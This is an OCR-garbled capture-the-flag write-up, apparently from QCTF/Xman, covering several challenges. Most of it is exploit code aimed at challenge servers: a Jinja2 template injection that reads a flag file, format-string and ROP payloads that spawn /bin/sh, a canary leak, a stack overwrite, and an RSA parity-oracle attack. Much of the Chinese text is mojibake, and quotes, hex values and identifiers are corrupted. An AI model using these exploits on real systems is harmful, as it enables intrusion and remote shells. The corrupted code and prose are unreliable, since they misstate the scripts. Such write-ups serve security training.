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if($numbers[$i] == $win_numbers[$i]){

$same_count++;}
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payload: {"1":true,"2":true,"3"true,"4":true,"5"true,"6":true,"0"true}
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- B HH#R: This is to0 s1mple
http://47.96.118.255:33066
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POST /HTTP/1.1

Host: 47.96.118.255:33066

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 12

Referer: http://47.96.118.255:33066/

Cookie: PHPSESSID=5a3c9494e02ed3c9d0b9008622609f94
Connection: keep-alive

Upgrade-Insecure-Requests: 1
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tHHH Confusion1

- B H#R: confusion1ifiid One day, Bob said "PHP is the best language!", but Alice didn't agree it, so
Alice write a website to proof it. She published it before finish it but | find something WRONG at some page.
(Please DO NOT use scanner!)

http://47.96.118.255:2333/

- iR LB«
A BA#T FFindex.php, (R ANBEFT I B 3% 5 T ANE A 57 i

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL /login.php was not found on this
server.</p>

<hr>

<address>Apache/2.4.10 (Debian) Server at
47.96.118.255 Port 2333</address>

</body></html>

<!--Flag @
lopt/flag_1de36dff62a3a54ecfbcbe1fd2efO0ad.txt-->
<|--Salt @
/opt/salt_b420e8cfth8862548e68459ae1d37a1d5.txt-->
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http://47.96.118.255:2333/{ 7*7 }}

R [E]

The requested URL /49 was not found on this server.

Vil “http://47.96.118.255:2333/{{ 77" }}
R [8]

The requested URL /7777777 was not found on this server.

WUE T B2 Jinja2

KT RS uBAREN, XEHH LI https:/portswigger.net/blog/server-side-template-injection
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import requests

url = "http://47.96.118.255:2333/{{"[request.cookies.p1][request.cookies.p2][2][request.cookies.p3]()[40]
(‘Yopt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.ixt’)[request.cookies.p4]()}}™

cookies = {}
cookies[p1]="'_class '
cookies[p2]="'_mro_ '
cookies['p3']="'__subclasses '

cookies['p4'] = 'read'



print requests.get(url,cookies=cookies).text

’q. PWN
tHHHinotebook
- B HHIR: nc118.31.49.175 9999
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from zio import *

import struct

#target=('127.0.0.1', 10000)
target=('"118.31.49.175' ,9999)

io = Zio(target, timeout=10000,
print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green"))
c2=raw_input('go?")

io.read_until('May | have your name?')
payload='%"+str(0x880B)+'d'+'%25%hn'+"x00™3+I32(0x0804A028)
payload+="1"*0x70
payload+=I32(0x08048791) #get input
payload+=I32(0x08048CAA) #pop 2
payload+=132(0x0804A100)
payload+=I32(0x8)
payload+=I32(0x080485C0Q) #system
payload+=I32(0x0)
payload+=I32(0x0804a100)
io.writeline(payload)

raw_input('go?')

io.write("/bin/sh\x00")



io.interact()

#QCTF{fOrmat_s7r1ng_is_happy_}

#HHHbaby cpp
- B HH#id: nc118.31.49.175 2333

- fRBEG: babycpp MR, XES7ETMFEcanary, #idunquire ok canary E & H #1585 AT KR Hb b £
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from zio import *

import struct

#target=("127.0.0.1", 10000)
target=("118.31.49.175', 2333)

io = zio(target, timeout=10000,
print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green"))
c2=raw_input('go?')
io.read_until('input n:")
io.writeline('20")
io.read_until('4.exit.")

io.writeline('2")

payload="1\n'

payload+="1\n’

payload+="2\n'

payload+="3\n’

payload+="4\n’

payload+="5\n’

payload+='6\n’

payload+="7\n'



payload+='8\n’
payload+="9\n’
payload+="10\n'
payload+="11\n'
payload+="12\n'
payload+="13\n'
payload+="14\n'
payload+="15\n'
payload+="16\n'
payload+="17\n'
payload+="18\n'
payload+="19\n'
io.read_until('input 20 num:")
io.writeline(payload)
io.read_until('4.exit.")
io.writeline('1")
io.writeline('2")
io.read_until('4.exit.")
io.writeline('2")
io.read_until('input 2 num:")
io.writeline('1\n1")
io.read_until('4.exit.")
io.writeline('1")
io.writeline('24")
io.read_until('4.exit.")
io.writeline('3")
io.read_until('4.exit.")
io.writeline('1")
io.writeline('2")
io.read_until('4.exit.")

io.writeline('2")



io.read_until('input 2 num:")
io.writeline('1\n1")
io.read_until('4.exit.")
io.writeline('1")
io.writeline('23")
io.read_until('4.exit.")
io.writeline('3")
io.read_until('4.exit.")
io.writeline('1")
io.writeline('2")
io.read_until('4.exit.")
io.writeline('2")
io.read_until('input 2 num:")
io.writeline('1\n1")
io.read_until('4.exit.")
io.writeline('1")
io.writeline('22")
io.read_until('4.exit.")
io.writeline('3')
io.read_until('4.exit.")
io.writeline('1")
io.writeline('2")
io.read_until('4.exit.")
io.writeline('2")
io.read_until('input 2 num:")
io.writeline('1\n1")
io.read_until('4.exit.")
io.writeline('1")
io.writeline('21")
io.read_until('4.exit.")

raw_input('go?')



io.writeline('3")
io.read_until("19 ")
io.read_until("")
io.read_until("")
test=io.read_until(' ")
test=test[0:-1]
low=int(test,10)
test=io.read_until(' ")
test=test[0:-1]
high=int(test,10)
gs=high*0x100000000+low
print hex(gs)
io.read_until('4.exit.")
io.writeline('1")
io.writeline('56")
io.read_until('4.exit.")
raw_input('go?")
io.writeline('2")
payload="1\n'+"1\n’
payload+="1\n"+"1\n’
payload+="1\n"+"1\n’
payload+="1\n'+"1\n'
payload+="1\n'+"1\n'
payload+="1\n"+"1\n’
payload+="1\n"+"1\n’
payload+="1\n"+"1\n’
payload+="1\n"+"1\n’
payload+="1\n"+"1\n’
payload+="1\n"+"1\n’
payload+=str(low)+"\n'+str(high)+"\n'

payload+="1\n"+"1\n’



payload+=str(0x00401251)+"\n"+str(0x0)+"\n'
payload+=str(0x00602090)+"\n'+str(0x0)+"\n'
payload+="1\n"+"1\n’
payload+=str(0x00401253)+"\n'+str(0x0)+"\n'
payload+=str(0x00602200)+"\n'+str(0x0)+"\n'
payload+=str(0x00400Ab0)+"\n"+str(0x0)+"\n'
payload+=str(0x00401251)+"\n'+str(0x0)+"\n'
payload+=str(0x00602050)+"\n'+str(0x0)+"\n'
payload+="1\n"+"1\n’
payload+=str(0x00401253)+"\n'+str(0x0)+"\n'
payload+=str(0x006020c0)+"\n"+str(0x0)+"\n'
payload+=str(0x00400af0)+"\n"+str(0x0)+"\n'
payload+=str(0x00401253)+"\n"+str(0x0)+"\n'
payload+=str(0x00602050)+"\n"+str(0x0)+"\n'
payload+=str(0x00400Ad0)+"\n'+str(0x0)+"\n'
io.read_until('input 56 num:")
io.writeline(payload)

io.read_until('4.exit.")

io.writeline('4")

io.read_until(\n")

io.read(2)

test=io.read(6)+"x00"2
system=struct.unpack("<Q",test)[0]-0x28410
io.writeline(/bin/sh\x00'+164(system))
io.interact()

#QCTF{welcome_70_QCTF_and Xman_}

#HHHXman-dice_game

- BH#IR: nc47.96.239.28 9999



- AR dice_game AL W LLE & MENLECR T, EME SN0, WCLATRMIBENLEE A, T T 50
W, &Zlflag

from zio import *

import struct

#target=("127.0.0.1", 10000)
target=('47.96.239.28', 9999)

io = zio(target, timeout=10000,
print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green"))
c2=raw_input('go?")

io.read_until('let me know your name:')
io.writeline('1"*0x40+164(0x0))
payload="25426251423232651155634433322261116425254446323361"'
i=0

while(1):

io.read_until('Give me the point(1~6):")
io.writeline(payload([i])

i=i+1

if(i==50):

break

io.interact()

#QCTF{hav3_4un_w1th_th1s_gam3}

H#HHHEXman-stack?2
- FH#IR: nc118.31.49.175 9999

- fRFBB R stack2 =GR ABAMT, BT hackthere i 3/ F/bin/bash 45 5 A EE AT, Hiropif
FAsh=Zff 5, ZZshell

from zio import *



import struct

#target=('127.0.0.1", 10000)
target=('47.96.239.28',2333)

io = zio(target, timeout=10000,
print_read=COLORED(RAW, 'red'),
print_write=COLORED(RAW, 'green"))
c2=raw_input('go?")

io.read_until("How many numbers you have:')
io.writeline('1")

io.read_until('Give me your numbers')
io.writeline('1")

io.read_until('5. exit')

io.writeline('3")

io.read_until('which number to change:')
io.writeline('132")

io.read_until('new number:')
io.writeline(str(0x80))

io.read_until('5. exit')

io.writeline('3')

io.read_until(‘which number to change:')
io.writeline('133")

io.read_until('new number:')
io.writeline(str(0x84))

io.read_until('5. exit")

io.writeline('3")

io.read_until('which number to change:')
io.writeline('134")

io.read_until('new number:')
io.writeline(str(0x04))

io.read_until('5. exit")

io.writeline('3")



io.read_until('which number to change:')
io.writeline('135')

io.read_until('new number:')
io.writeline(str(0x08))

io.read_until('5. exit")

io.writeline('3")

io.read_until('which number to change:')
io.writeline('136")

io.read_until('new number:')
io.writeline(str(0x50))

io.read_until('5. exit')

io.writeline('3")

io.read_until('which number to change:')
io.writeline('137")

io.read_until('new number:')
io.writeline(str(0x84))

io.read_until('5. exit')

io.writeline('3")

io.read_until(‘which number to change:')
io.writeline('138")

io.read_until('new number:')
io.writeline(str(0x04))

io.read_until('5. exit')

io.writeline('3")

io.read_until(‘which number to change:')
io.writeline('139")

io.read_until('new number:')
io.writeline(str(0x08))

io.read_until('5. exit')

io.writeline('3")

io.read_until('which number to change:')



io.writeline('140')

io.read_until('new number:')
io.writeline(str(0x97))

io.read_until('5. exit")

io.writeline('3")

io.read_until('which number to change:')
io.writeline('141")

io.read_until('new number:')
io.writeline(str(0x8a))

io.read_until('5. exit")

io.writeline('3")

io.read_until('which number to change:')
io.writeline('142'")

io.read_until('new number:')
io.writeline(str(0x04))

io.read_until('5. exit')

io.writeline('3")

io.read_until('which number to change:')
io.writeline('143")

io.read_until('new number:')
io.writeline(str(0x08))

io.read_until(*5. exit")

io.writeline('3")

io.read_until('which number to change:')
io.writeline('144")

io.read_until('new number:')
io.writeline(str(0x00))

io.read_until('5. exit')

io.writeline('3")

io.read_until('which number to change:')

io.writeline('145")



io.read_until('new number:')
io.writeline(str(0Oxa1))

io.read_until('5. exit")

io.writeline('3")

io.read_until('which number to change:")
io.writeline('146')

io.read_until('new number:')
io.writeline(str(0x04))

io.read_until('5. exit")

io.writeline('3")

io.read_until(‘which number to change:')
io.writeline('147")

io.read_until('new number:")
io.writeline(str(0x08))

raw_input('go?")

io.read_until('5. exit')

io.writeline('5")

raw_input('go?")
io.writeline(str(0x6873))

io.interact()

#QCTF{H3y X w4N}

##HCrypto

#H#baby RSA
- B H#iR: babyRSA
e = 0x10001

n=

0x0b765daa79117afe1a77da7{f8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bbl

4 | 1 | 3




c=
0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15¢77532964120ae11f8655t

4 | I | 3

nc 47.96.239.28 23333

babyRSA

fife B R B -

BB AR i — A2
https://crypto.stackexchange.com/questions/11053/rsa-least-significant-bit-oracle-attack

https://ctf.rip/sharif-ctf-2016-Isb-oracle-crypto-challenge/
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-*- coding: utf-8 -*-
from pwn import *
from linbum import *
def oracle(c):

p=remote("47.96.239.28",23333)
p.recvuntil('now\n’)
p.sendline(hex(c))
sh = p.recv()
#print sh
p.close()
if sh =="'odd\n"
flag = 1
else:
flag=0
return flag
def main():
N =

0x0b765daa79117afe1a77da7{f8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bbl

4 | 1 | 3

e = 0x10001



c*=
0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15¢c77532964 120ae11f8655t

4 | 10 | b

¢ = (pow(2,e,N)*c)%N

while LB!=UB:
flag = oracle(c)
print i
#print 'c: ',c,UB,LB
if flag==0:
UB = (LB+UB)/2
else:
LB = (LB+UB)/2
c = (pow(2,e,N)*c)%N
i+=1
print LB
print UB
print "flag: ",n2s(UB)

if _name__ =='_main

main()

#HH#HXman-RSA

- BH #5iR: Xman-RSA flagaXMAN{}#% 3

- ffFR RE s -

xmanrsafe AR KT, B BRJLEBEERMFEEZESp1 babyrsastparity oracleX , RIER HAE S HI W@

# -*- coding: utf-8 -*-

from os import urandom



import base64
import libnum
import gmpy?2
def bytes to_num(b):
return int(b.encode('hex’), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b="0"+biflen(b)%2 == 1else b
return b.decode('hex’)
def encrypt(s, e, n):
p = bytes_to_num(s)
p = pow(p, e, n)
return num_to_bytes(p).encode('hex’)
def decrypt(c,d,n):
cipher = bytes_to_num(c.decode('hex))
msg = gmpy2.powmod(cipher, d, n)
#print (msg)
msg = hex(msg)[2:]
if len(msg) % 2 1= 0:
msg ='0" + msg
msg = msg.decode(*hex’)
return msg
def main():
#known

n2 =

'PVNHDb2BfGAnmxLrbKhgsY XRwWWIL9eOj6K0s3I0sIKHCT XT AUtZh3TOr+RoSIhpO3+77AY8P7TWETYZ2Jzuv5F

< | T |

n3 =

"TmNVbWUCXR10d3gBpM+HGMKK/4ErIKITxomQ/QmNCZIzmmsNyPXQBiMEeUB8udO7IWjQTYGjD6k21

< | i |

n2 = bytes to_num(base64.b64decode(n2))

n3 = bytes_to_num(base64.b64decode(n3))

F
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cl=
'2639c28e3609a4a8c953cca9c326e8e062756305ae8aeebefcd346458aade3ee8c2106ab9dfe5f470804f366af7

4 | T | 3

c2 =
'42ff1157363d9cd10da64eb4382b6457ebb740dbef40ade9b24a174d0145adaa0115d86aa2fc2a41257f2b6248t¢

< | T | 3

c1_=bytes to_num(c1.decode('hex’))
c2_ = bytes_to_num(c2.decode('hex’))
c_msgl =

"1240198b148089290e375b999569f0d53¢c32d356b2e95f5acee070f016b3bef243d0b5e46d9ad7aa7dfe2f21bda

4 | T | 3

c_msg2 =
'129d5d4ab3f9e8017d4e6761702467bbeb1b884b6c4f8ff397d078a8c41186a3d52977fa2307d5b6a0ad01fedfc:

4 | T | 3

HHEL R I
n3 =
9895571060693703887018268413746107679094703478067972087862851570192520012058188062485476

4 (L F

e1=0x1001
e2 = 0x101
gcd, s, t = gmpy2.gcdext(e1, e2)
ifs<0:
sS=-s
c1_ = gmpy2.invert(c1_, n3)
ift<O0:
t=-t
c2_ = gmpy2.invert(c2_, n3)
n1 = gmpy2.powmod(c1_, s, n3) * gmpy2.powmod(c2_, t, n3) % n3

print 'n1: ',(n1)

HHRR L AR AR R Hip 1
p1=gmpy2.gcd(n1, n2)

p2 =n1/p1



p3 =n2/p1

e = 0x1001

phin1 = (p1-1)* (p2-1)
phin2=(p1-1)*(p3-1)
d1 = gmpy2.invert(e, phin1)
d2 = gmpy2.invert(e, phin2)
c_msgl =

"1240198b148089290e375b999569f0d53¢c32d356b2e95f5acee070f016b3bef243d0b5e46d9ad7aa7dfe2f21bda

4 | i | b

c_msg2 =
'129d5d4ab3f9e8017d4e6761702467bbeb1b884b6c4f8ff397d078a8c41186a3d52977fa2307d5b6a0ad01fedfc:

4 | i | b

msg1 = decrypt(c_msg1,d1,n1)
msg2 = decrypt(c_msg2,d2,n2)
print "msg1: ",msg1

print "msg2: ",msg2

#Hi¥iseparate, LR
flag="
for i in xrange(len(msg2)):
flag = flag + msg1[i] + msgZ2[i]

print “flag: ",flag

if_name__=='_main__
main()
o -
O
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